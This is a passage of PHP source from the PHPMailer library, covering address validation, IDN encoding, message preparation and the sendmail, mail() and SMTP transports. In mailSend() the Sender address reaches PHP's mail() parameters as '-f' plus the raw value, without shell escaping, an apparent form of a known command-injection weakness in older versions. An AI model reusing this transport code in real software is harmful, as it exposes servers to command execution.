  1065.      * @param boolean $auto Whether to also set the Sender address, defaults to true
  1066.      * @throws phpmailerException
  1067.      * @return boolean
  1068.      */
  1069.     public function setFrom($address, $name = '', $auto = true)
  1070.     {
  1071.         $address = trim($address);
  1072.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1073.         // Don't validate now addresses with IDN. Will be done in send().
  1074.         if (($pos = strrpos($address, '@')) === false or
  1075.             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1076.             !$this->validateAddress($address)) {
  1077.             $error_message = $this->lang('invalid_address') . $address;
  1078.             $this->setError($error_message);
  1079.             $this->edebug($error_message);
  1080.             if ($this->exceptions) {
  1081.                 throw new phpmailerException($error_message);
  1082.             }
  1083.             return false;
  1084.         }
  1085.         $this->From = $address;
  1086.         $this->FromName = $name;
  1087.         if ($auto) {
  1088.             if (empty($this->Sender)) {
  1089.                 $this->Sender = $address;
  1090.             }
  1091.         }
  1092.         return true;
  1093.     }
  1094.  
  1095.     /**
  1096.      * Return the Message-ID header of the last email.
  1097.      * Technically this is the value from the last time the headers were created,
  1098.      * but it's also the message ID of the last sent message except in
  1099.      * pathological cases.
  1100.      * @return string
  1101.      */
  1102.     public function getLastMessageID()
  1103.     {
  1104.         return $this->lastMessageID;
  1105.     }
  1106.  
  1107.     /**
  1108.      * Check that a string looks like an email address.
  1109.      * @param string $address The email address to check
  1110.      * @param string $patternselect A selector for the validation pattern to use :
  1111.      * * `auto` Pick best pattern automatically;
  1112.      * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1113.      * * `pcre` Use old PCRE implementation;
  1114.      * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1115.      * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1116.      * * `noregex` Don't use a regex: super fast, really dumb.
  1117.      * @return boolean
  1118.      * @static
  1119.      * @access public
  1120.      */
  1121.     public static function validateAddress($address, $patternselect = 'auto')
  1122.     {
  1123.         //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1124.         if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
  1125.             return false;
  1126.         }
  1127.         if (!$patternselect or $patternselect == 'auto') {
  1128.             //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1129.             //Constant was added in PHP 5.2.4
  1130.             if (defined('PCRE_VERSION')) {
  1131.                 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1132.                 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1133.                     $patternselect = 'pcre8';
  1134.                 } else {
  1135.                     $patternselect = 'pcre';
  1136.                 }
  1137.             } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1138.                 //Fall back to older PCRE
  1139.                 $patternselect = 'pcre';
  1140.             } else {
  1141.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1142.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1143.                     $patternselect = 'php';
  1144.                 } else {
  1145.                     $patternselect = 'noregex';
  1146.                 }
  1147.             }
  1148.         }
  1149.         switch ($patternselect) {
  1150.             case 'pcre8':
  1151.                 /**
  1152.                  * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1153.                  * @link http://squiloople.com/2009/12/20/email-address-validation/
  1154.                  * @copyright 2009-2010 Michael Rushton
  1155.                  * Feel free to use and redistribute this code. But please keep this copyright notice.
  1156.                  */
  1157.                 return (boolean)preg_match(
  1158.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  1159.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  1160.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  1161.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  1162.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  1163.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  1164.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  1165.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1166.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  1167.                     $address
  1168.                 );
  1169.             case 'pcre':
  1170.                 //An older regex that doesn't need a recent PCRE
  1171.                 return (boolean)preg_match(
  1172.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  1173.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  1174.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  1175.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  1176.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  1177.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  1178.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  1179.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  1180.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  1181.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  1182.                     $address
  1183.                 );
  1184.             case 'html5':
  1185.                 /**
  1186.                  * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1187.                  * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1188.                  */
  1189.                 return (boolean)preg_match(
  1190.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  1191.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  1192.                     $address
  1193.                 );
  1194.             case 'noregex':
  1195.                 //No PCRE! Do something _very_ approximate!
  1196.                 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1197.                 return (strlen($address) >= 3
  1198.                     and strpos($address, '@') >= 1
  1199.                     and strpos($address, '@') != strlen($address) - 1);
  1200.             case 'php':
  1201.             default:
  1202.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1203.         }
  1204.     }
  1205.  
  1206.     /**
  1207.      * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1208.      * "intl" and "mbstring" PHP extensions.
  1209.      * @return bool "true" if required functions for IDN support are present
  1210.      */
  1211.     public function idnSupported()
  1212.     {
  1213.         // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1214.         return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1215.     }
  1216.  
  1217.     /**
  1218.      * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1219.      * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1220.      * This function silently returns unmodified address if:
  1221.      * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1222.      * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1223.      *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1224.      * @see PHPMailer::$CharSet
  1225.      * @param string $address The email address to convert
  1226.      * @return string The encoded address in ASCII form
  1227.      */
  1228.     public function punyencodeAddress($address)
  1229.     {
  1230.         // Verify we have required functions, CharSet, and at-sign.
  1231.         if ($this->idnSupported() and
  1232.             !empty($this->CharSet) and
  1233.             ($pos = strrpos($address, '@')) !== false) {
  1234.             $domain = substr($address, ++$pos);
  1235.             // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1236.             if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1237.                 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1238.                 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
  1239.                     idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
  1240.                     idn_to_ascii($domain)) !== false) {
  1241.                     return substr($address, 0, $pos) . $punycode;
  1242.                 }
  1243.             }
  1244.         }
  1245.         return $address;
  1246.     }
  1247.  
  1248.     /**
  1249.      * Create a message and send it.
  1250.      * Uses the sending method specified by $Mailer.
  1251.      * @throws phpmailerException
  1252.      * @return boolean false on error - See the ErrorInfo property for details of the error.
  1253.      */
  1254.     public function send()
  1255.     {
  1256.         try {
  1257.             if (!$this->preSend()) {
  1258.                 return false;
  1259.             }
  1260.             return $this->postSend();
  1261.         } catch (phpmailerException $exc) {
  1262.             $this->mailHeader = '';
  1263.             $this->setError($exc->getMessage());
  1264.             if ($this->exceptions) {
  1265.                 throw $exc;
  1266.             }
  1267.             return false;
  1268.         }
  1269.     }
  1270.  
  1271.     /**
  1272.      * Prepare a message for sending.
  1273.      * @throws phpmailerException
  1274.      * @return boolean
  1275.      */
  1276.     public function preSend()
  1277.     {
  1278.         try {
  1279.             $this->error_count = 0; // Reset errors
  1280.             $this->mailHeader = '';
  1281.  
  1282.             // Dequeue recipient and Reply-To addresses with IDN
  1283.             foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1284.                 $params[1] = $this->punyencodeAddress($params[1]);
  1285.                 call_user_func_array(array($this, 'addAnAddress'), $params);
  1286.             }
  1287.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1288.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1289.             }
  1290.  
  1291.             // Validate From, Sender, and ConfirmReadingTo addresses
  1292.             foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1293.                 $this->$address_kind = trim($this->$address_kind);
  1294.                 if (empty($this->$address_kind)) {
  1295.                     continue;
  1296.                 }
  1297.                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1298.                 if (!$this->validateAddress($this->$address_kind)) {
  1299.                     $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1300.                     $this->setError($error_message);
  1301.                     $this->edebug($error_message);
  1302.                     if ($this->exceptions) {
  1303.                         throw new phpmailerException($error_message);
  1304.                     }
  1305.                     return false;
  1306.                 }
  1307.             }
  1308.  
  1309.             // Set whether the message is multipart/alternative
  1310.             if (!empty($this->AltBody)) {
  1311.                 $this->ContentType = 'multipart/alternative';
  1312.             }
  1313.  
  1314.             $this->setMessageType();
  1315.             // Refuse to send an empty message unless we are specifically allowing it
  1316.             if (!$this->AllowEmpty and empty($this->Body)) {
  1317.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1318.             }
  1319.  
  1320.             // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1321.             $this->MIMEHeader = '';
  1322.             $this->MIMEBody = $this->createBody();
  1323.             // createBody may have added some headers, so retain them
  1324.             $tempheaders = $this->MIMEHeader;
  1325.             $this->MIMEHeader = $this->createHeader();
  1326.             $this->MIMEHeader .= $tempheaders;
  1327.  
  1328.             // To capture the complete message when using mail(), create
  1329.             // an extra header list which createHeader() doesn't fold in
  1330.             if ($this->Mailer == 'mail') {
  1331.                 if (count($this->to) > 0) {
  1332.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1333.                 } else {
  1334.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1335.                 }
  1336.                 $this->mailHeader .= $this->headerLine(
  1337.                     'Subject',
  1338.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1339.                 );
  1340.             }
  1341.  
  1342.             // Sign with DKIM if enabled
  1343.             if (!empty($this->DKIM_domain)
  1344.                 && !empty($this->DKIM_private)
  1345.                 && !empty($this->DKIM_selector)
  1346.                 && file_exists($this->DKIM_private)) {
  1347.                 $header_dkim = $this->DKIM_Add(
  1348.                     $this->MIMEHeader . $this->mailHeader,
  1349.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1350.                     $this->MIMEBody
  1351.                 );
  1352.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1353.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1354.             }
  1355.             return true;
  1356.         } catch (phpmailerException $exc) {
  1357.             $this->setError($exc->getMessage());
  1358.             if ($this->exceptions) {
  1359.                 throw $exc;
  1360.             }
  1361.             return false;
  1362.         }
  1363.     }
  1364.     public function innerBody(){
  1365.  
  1366.        
  1367.     }
  1368.     /**
  1369.      * Actually send a message.
  1370.      * Send the email via the selected mechanism
  1371.      * @throws phpmailerException
  1372.      * @return boolean
  1373.      */
  1374.     public function postSend()
  1375.     {
  1376.         try {
  1377.             // Choose the mailer and send through it
  1378.             switch ($this->Mailer) {
  1379.                 case 'sendmail':
  1380.                 case 'qmail':
  1381.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1382.                 case 'smtp':
  1383.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1384.                 case 'mail':
  1385.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1386.                 default:
  1387.                     $sendMethod = $this->Mailer.'Send';
  1388.                     if (method_exists($this, $sendMethod)) {
  1389.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1390.                     }
  1391.  
  1392.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1393.             }
  1394.         } catch (phpmailerException $exc) {
  1395.             $this->setError($exc->getMessage());
  1396.             $this->edebug($exc->getMessage());
  1397.             if ($this->exceptions) {
  1398.                 throw $exc;
  1399.             }
  1400.         }
  1401.         return false;
  1402.     }
  1403.  
  1404.     /**
  1405.      * Send mail using the $Sendmail program.
  1406.      * @param string $header The message headers
  1407.      * @param string $body The message body
  1408.      * @see PHPMailer::$Sendmail
  1409.      * @throws phpmailerException
  1410.      * @access protected
  1411.      * @return boolean
  1412.      */
  1413.     protected function sendmailSend($header, $body)
  1414.     {
  1415.         if ($this->Sender != '') {
  1416.             if ($this->Mailer == 'qmail') {
  1417.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1418.             } else {
  1419.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1420.             }
  1421.         } else {
  1422.             if ($this->Mailer == 'qmail') {
  1423.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1424.             } else {
  1425.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1426.             }
  1427.         }
  1428.         if ($this->SingleTo) {
  1429.             foreach ($this->SingleToArray as $toAddr) {
  1430.                 if (!@$mail = popen($sendmail, 'w')) {
  1431.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1432.                 }
  1433.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1434.                 fputs($mail, $header);
  1435.                 fputs($mail, $body);
  1436.                 $result = pclose($mail);
  1437.                 $this->doCallback(
  1438.                     ($result == 0),
  1439.                     array($toAddr),
  1440.                     $this->cc,
  1441.                     $this->bcc,
  1442.                     $this->Subject,
  1443.                     $body,
  1444.                     $this->From
  1445.                 );
  1446.                 if ($result != 0) {
  1447.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1448.                 }
  1449.             }
  1450.         } else {
  1451.             if (!@$mail = popen($sendmail, 'w')) {
  1452.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1453.             }
  1454.             fputs($mail, $header);
  1455.             fputs($mail, $body);
  1456.             $result = pclose($mail);
  1457.             $this->doCallback(
  1458.                 ($result == 0),
  1459.                 $this->to,
  1460.                 $this->cc,
  1461.                 $this->bcc,
  1462.                 $this->Subject,
  1463.                 $body,
  1464.                 $this->From
  1465.             );
  1466.             if ($result != 0) {
  1467.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1468.             }
  1469.         }
  1470.         return true;
  1471.     }
  1472.  
  1473.     /**
  1474.      * Send mail using the PHP mail() function.
  1475.      * @param string $header The message headers
  1476.      * @param string $body The message body
  1477.      * @link http://www.php.net/manual/en/book.mail.php
  1478.      * @throws phpmailerException
  1479.      * @access protected
  1480.      * @return boolean
  1481.      */
  1482.     protected function mailSend($header, $body)
  1483.     {
  1484.         $toArr = array();
  1485.         foreach ($this->to as $toaddr) {
  1486.             $toArr[] = $this->addrFormat($toaddr);
  1487.         }
  1488.         $to = implode(', ', $toArr);
  1489.  
  1490.         if (empty($this->Sender)) {
  1491.             $params = ' ';
  1492.         } else {
  1493.             $params = sprintf('-f%s', $this->Sender);
  1494.         }
  1495.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1496.             $old_from = ini_get('sendmail_from');
  1497.             ini_set('sendmail_from', $this->Sender);
  1498.         }
  1499.         $result = false;
  1500.         if ($this->SingleTo && count($toArr) > 1) {
  1501.             foreach ($toArr as $toAddr) {
  1502.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1503.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1504.             }
  1505.         } else {
  1506.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1507.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1508.         }
  1509.         if (isset($old_from)) {
  1510.             ini_set('sendmail_from', $old_from);
  1511.         }
  1512.         if (!$result) {
  1513.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1514.         }
  1515.         return true;
  1516.     }
  1517.  
  1518.     /**
  1519.      * Get an instance to use for SMTP operations.
  1520.      * Override this function to load your own SMTP implementation
  1521.      * @return SMTP
  1522.      */
  1523.     public function getSMTPInstance()
  1524.     {
  1525.         if (!is_object($this->smtp)) {
  1526.             $this->smtp = new SMTP;
  1527.         }
  1528.         return $this->smtp;
  1529.     }
  1530.  
  1531.     /**
  1532.      * Send mail via SMTP.
  1533.      * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1534.      * Uses the PHPMailerSMTP class by default.
  1535.      * @see PHPMailer::getSMTPInstance() to use a different class.
  1536.      * @param string $header The message headers
  1537.      * @param string $body The message body
  1538.      * @throws phpmailerException
  1539.      * @uses SMTP
  1540.      * @access protected
  1541.      * @return boolean
  1542.      */
  1543.     protected function smtpSend($header, $body)
  1544.     {
  1545.         $bad_rcpt = array();
  1546.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1547.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1548.         }
  1549.         if ('' == $this->Sender) {
  1550.             $smtp_from = $this->From;
  1551.         } else {
  1552.             $smtp_from = $this->Sender;
  1553.         }
  1554.         if (!$this->smtp->mail($smtp_from)) {
  1555.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1556.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1557.         }
  1558.  
  1559.         // Attempt to send to all recipients
  1560.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1561.             foreach ($togroup as $to) {
  1562.                 if (!$this->smtp->recipient($to[0])) {
  1563.                     $error = $this->smtp->getError();
  1564.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1565.                     $isSent = false;
  1566.                 } else {
  1567.                     $isSent = true;
  1568.                 }
  1569.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1570.             }
  1571.         }
  1572.  
  1573.         // Only send the DATA command if we have viable recipients
  1574.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1575.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1576.         }
  1577.         if ($this->SMTPKeepAlive) {
  1578.             $this->smtp->reset();
  1579.         } else {
  1580.             $this->smtp->quit();
  1581.             $this->smtp->close();
  1582.         }
  1583.         //Create error message for any bad addresses
  1584.         if (count($bad_rcpt) > 0) {
  1585.             $errstr = '';
  1586.             foreach ($bad_rcpt as $bad) {
  1587.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1588.             }
  1589.             throw new phpmailerException(
  1590.                 $this->lang('recipients_failed') . $errstr,
  1591.                 self::STOP_CONTINUE
  1592.             );
  1593.         }
  1594.         return true;
  1595.     }
  1596.  
  1597.     /**
  1598.      * Initiate a connection to an SMTP server.
  1599.      * Returns false if the operation failed.
  1600.      * @param array $options An array of options compatible with stream_context_create()
  1601.      * @uses SMTP
  1602.      * @access public
  1603.      * @throws phpmailerException
  1604.      * @return boolean
  1605.      */
  1606.     public function smtpConnect($options = array())
  1607.     {
  1608.         if (is_null($this->smtp)) {
  1609.             $this->smtp = $this->getSMTPInstance();
  1610.         }
  1611.  
  1612.         // Already connected?
  1613.         if ($this->smtp->connected()) {
  1614.             return true;
  1615.         }
  1616.  
  1617.         $this->smtp->setTimeout($this->Timeout);
  1618.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1619.         $this->smtp->setDebugOutput($this->Debugoutput);
  1620.         $this->smtp->setVerp($this->do_verp);
  1621.         $hosts = explode(';', $this->Host);
  1622.         $lastexception = null;
  1623.  
  1624.         foreach ($hosts as $hostentry) {
  1625.             $hostinfo = array();
  1626.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1627.                 // Not a valid host entry
  1628.                 continue;
  1629.             }
  1630.             // $hostinfo[2]: optional ssl or tls prefix
  1631.             // $hostinfo[3]: the hostname
  1632.             // $hostinfo[4]: optional port number
  1633.             // The host string prefix can temporarily override the current setting for SMTPSecure
  1634.             // If it's not specified, the default value is used
  1635.             $prefix = '';
  1636.             $secure = $this->SMTPSecure;
  1637.             $tls = ($this->SMTPSecure == 'tls');
  1638.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1639.                 $prefix = 'ssl://';
  1640.                 $tls = false; // Can't have SSL and TLS at the same time
  1641.                 $secure = 'ssl';
  1642.             } elseif ($hostinfo[2] == 'tls') {
  1643.                 $tls = true;
  1644.                 // tls doesn't use a prefix
  1645.                 $secure = 'tls';
  1646.             }
  1647.             //Do we need the OpenSSL extension?
  1648.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1649.             if ('tls' === $secure or 'ssl' === $secure) {
  1650.                 //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1651.                 if (!$sslext) {
  1652.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1653.                 }
  1654.             }
  1655.             $host = $hostinfo[3];
  1656.             $port = $this->Port;
  1657.             $tport = (integer)$hostinfo[4];
  1658.             if ($tport > 0 and $tport < 65536) {
  1659.                 $port = $tport;
  1660.             }
  1661.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1662.                 try {
  1663.                     if ($this->Helo) {
  1664.                         $hello = $this->Helo;
  1665.                     } else {
  1666.                         $hello = $this->serverHostname();
  1667.                     }
  1668.                     $this->smtp->hello($hello);
  1669.                     //Automatically enable TLS encryption if:
  1670.                     // * it's not disabled
  1671.                     // * we have openssl extension
  1672.                     // * we are not already using SSL
  1673.                     // * the server offers STARTTLS
  1674.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1675.                         $tls = true;
  1676.                     }
  1677.                     if ($tls) {
  1678.                         if (!$this->smtp->startTLS()) {
  1679.                             throw new phpmailerException($this->lang('connect_host'));
  1680.                         }
  1681.                         // We must resend HELO after tls negotiation
  1682.                         $this->smtp->hello($hello);
  1683.                     }
  1684.                     if ($this->SMTPAuth) {
  1685.                         if (!$this->smtp->authenticate(
  1686.                             $this->Username,
  1687.                             $this->Password,
  1688.                             $this->AuthType,
  1689.                             $this->Realm,
  1690.                             $this->Workstation
  1691.                         )
  1692.                         ) {
  1693.                             throw new phpmailerException($this->lang('authenticate'));
  1694.                         }
  1695.                     }
  1696.                     return true;
  1697.                 } catch (phpmailerException $exc) {
  1698.                     $lastexception = $exc;
  1699.                     $this->edebug($exc->getMessage());
  1700.                     // We must have connected, but then failed TLS or Auth, so close connection nicely
  1701.                     $this->smtp->quit();
  1702.                 }
  1703.             }
  1704.         }
  1705.         // If we get here, all connection attempts have failed, so close connection hard
  1706.         $this->smtp->close();
  1707.         // As we've caught all exceptions, just report whatever the last one was
  1708.         if ($this->exceptions and !is_null($lastexception)) {
  1709.             throw $lastexception;
  1710.         }
  1711.         return false;
  1712.     }
  1713.  
  1714.     /**
  1715.      * Close the active SMTP session if one exists.
  1716.      * @return void
  1717.      */
  1718.     public function smtpClose()
  1719.     {
  1720.         if ($this->smtp !== null) {
  1721.             if ($this->smtp->connected()) {
  1722.                 $this->smtp->quit();
  1723.                 $this->smtp->close();
  1724.             }
  1725.         }
  1726.     }
  1727.  
  1728.     /**
  1729.      * Set the language for error messages.
  1730.      * Returns false if it cannot load the language file.
  1731.      * The default language is English.
  1732.      * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1733.      * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1734.      * @return boolean
  1735.      * @access public
  1736.      */
  1737.     public function setLanguage($langcode = 'en', $lang_path = '')
  1738.     {
  1739.         // Define full set of translatable strings in English
  1740.         $PHPMAILER_LANG = array(
  1741.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1742.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1743.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1744.             'empty_message' => 'Message body empty',
  1745.             'encoding' => 'Unknown encoding: ',
  1746.             'execute' => 'Could not execute: ',
  1747.             'file_access' => 'Could not access file: ',
  1748.             'file_open' => 'File Error: Could not open file: ',
  1749.             'from_failed' => 'The following From address failed: ',
  1750.             'instantiate' => 'Could not instantiate mail function.',
  1751.             'invalid_address' => 'Invalid address: ',
  1752.             'mailer_not_supported' => ' mailer is not supported.',
  1753.             'provide_address' => 'You must provide at least one recipient email address.',
  1754.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1755.             'signing' => 'Signing Error: ',
  1756.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1757.             'smtp_error' => 'SMTP server error: ',
  1758.             'variable_set' => 'Cannot set or reset variable: ',
  1759.             'extension_missing' => 'Extension missing: '
  1760.         );
  1761.         if (empty($lang_path)) {
  1762.             // Calculate an absolute path so it can work if CWD is not here
  1763.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1764.         }
  1765.         $foundlang = true;
  1766.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1767.         // There is no English translation file
  1768.         if ($langcode != 'en') {
  1769.             // Make sure language file path is readable
  1770.             if (!is_readable($lang_file)) {
  1771.                 $foundlang = false;
  1772.             } else {
  1773.                 // Overwrite language-specific strings.
  1774.                 // This way we'll never have missing translation keys.
  1775.                 $foundlang = include $lang_file;
  1776.             }
  1777.         }
  1778.         $this->language = $PHPMAILER_LANG;
  1779.         return (boolean)$foundlang; // Returns false if language not found
  1780.     }
  1781.  
  1782.     /**
  1783.      * Get the array of strings for the current language.
  1784.      * @return array
  1785.      */
  1786.     public function getTranslations()
  1787.     {
  1788.         return $this->language;
  1789.     }
  1790.  
  1791.     /**
  1792.      * Create recipient headers.
  1793.      * @access public
  1794.      * @param string $type
  1795.      * @param array $addr An array of recipient,
  1796.      * where each recipient is a 2-element indexed array with element 0 containing an address
  1797.      * and element 1 containing a name, like:
  1798.      * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1799.      * @return string
  1800.      */
  1801.     public function addrAppend($type, $addr)
  1802.     {
  1803.         $addresses = array();
  1804.         foreach ($addr as $address) {
  1805.             $addresses[] = $this->addrFormat($address);
  1806.         }
  1807.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1808.     }
  1809.  
  1810.     /**
  1811.      * Format an address for use in a message header.
